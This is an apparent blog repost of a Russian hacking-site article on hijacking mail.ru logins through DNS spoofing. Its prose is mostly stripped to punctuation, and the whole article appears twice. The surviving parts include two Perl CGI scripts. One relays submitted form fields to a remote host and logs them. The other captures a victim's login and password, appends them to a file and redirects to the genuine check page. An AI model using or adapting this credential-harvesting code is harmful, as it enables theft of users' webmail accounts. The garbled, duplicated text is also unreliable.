-

 -

  • - - - -
  •    : - , . , "
  •     - - . : Internet Explorer 6, Fire Fox 1.5, Opera 9.5, Safari 3.1.1 JavaScript.

 -

   Gafarov-91

 -

( : 2) - _

 -

 LiveInternet.ru:
: 02.07.2009
:
:
: 1314

:


: : Free_Hunt e-mail: for_fantom@mail.ru

, 21 2009 . 16:02 +



:
: Free_Hunt
e-mail: for_fantom@mail.ru
: 25.05.2002




- . , , , ;))) - ... , . , , =). , (). , . , , . . DNS - . mail.ru . , , mail.ru, . form action , , , http IP , . , , . : http://mailbox.mail.ru/mail.cgi http://mail.ru/cgi-bin/mirror.pl?redir=http://mailbox.mail.ru/mail.cgi mirror.pl, , . (cookies,form_field etc.) . , , =). IRC =). , , DNS , =).

. , , \ , , , /var/named c:\winnt\system32\dns , , - - DNS , - , radius.our.zone or billing.our.zone :) , IP . named- ( serial, ;) ). 32, , . - .

( ). , , , , . WWW , , , . , , action, , , ( , - ). , , - , , - =). , , , , "" , , =))). , , - - , , , , =). , , =). --------------------------------------------- #!perl use Socket; use CGI param; $text1=param("text1"); $text2=param("text2"); $text3=param("text3"); $remote="xxx.xxx.xx.x";$port="80"; if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }; $iaddr = inet_aton($remote); $paddr = sockaddr_in($port, $iaddr); $proto = getprotobyname('tcp'); socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "socket()"; connect(SOCK, $paddr); $data="text1=$text1&text2=$text2&text3=$text3"; send SOCK,"POST /mail HTTP/1.1\n",0; send SOCK,"Content-Length: ".length($data)."\n",0; send SOCK,"Content-Type: application/x-www-form-urlencoded\n",0; send SOCK,"Connection: Keep-Alive\n\n",0; send SOCK,$data,0; while(){$ret="$ret"."$_";} open (FILE2 ,">>_log.txt") || die "open() log $! $@"; print FILE2 "---=$remote:$port=---\n$ret\n$data\n\n"; close FILE2; close(SOCK); ----------------------------------------------- #!perl use CGI param; $login=param("login");$pass=param("pass"); print "Location: https://xx.xx/check/check.php?login=$login&pass=$pass\n\n"; open WR, ">>data.txt";print WR "$login:$pass\n";close WR; ----------------------------------------------- P.S. - , , , , , , , . , .








Copyright "HACK-INFO" "crypt@hack-info.ru"
http://hack-info.ru.






- . , , , ;))) - ... , . , , =). , (). , . , , . . DNS - . mail.ru . , , mail.ru, . form action , , , http IP , . , , . : http://mailbox.mail.ru/mail.cgi http://mail.ru/cgi-bin/mirror.pl?redir=http://mailbox.mail.ru/mail.cgi mirror.pl, , . (cookies,form_field etc.) . , , =). IRC =). , , DNS , =).

. , , \ , , , /var/named c:\winnt\system32\dns , , - - DNS , - , radius.our.zone or billing.our.zone :) , IP . named- ( serial, ;) ). 32, , . - .

( ). , , , , . WWW , , , . , , action, , , ( , - ). , , - , , - =). , , , , "" , , =))). , , - - , , , , =). , , =). --------------------------------------------- #!perl use Socket; use CGI param; $text1=param("text1"); $text2=param("text2"); $text3=param("text3"); $remote="xxx.xxx.xx.x";$port="80"; if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }; $iaddr = inet_aton($remote); $paddr = sockaddr_in($port, $iaddr); $proto = getprotobyname('tcp'); socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "socket()"; connect(SOCK, $paddr); $data="text1=$text1&text2=$text2&text3=$text3"; send SOCK,"POST /mail HTTP/1.1\n",0; send SOCK,"Content-Length: ".length($data)."\n",0; send SOCK,"Content-Type: application/x-www-form-urlencoded\n",0; send SOCK,"Connection: Keep-Alive\n\n",0; send SOCK,$data,0; while(){$ret="$ret"."$_";} open (FILE2 ,">>_log.txt") || die "open() log $! $@"; print FILE2 "---=$remote:$port=---\n$ret\n$data\n\n"; close FILE2; close(SOCK); ----------------------------------------------- #!perl use CGI param; $login=param("login");$pass=param("pass"); print "Location: https://xx.xx/check/check.php?login=$login&pass=$pass\n\n"; open WR, ">>data.txt";print WR "$login:$pass\n";close WR; ----------------------------------------------- P.S. - , , , , , , , . , .








Copyright "HACK-INFO" "crypt@hack-info.ru"
http://hack-info.ru.

:  

: [1] []
 

:
: 

: ( )

:

  URL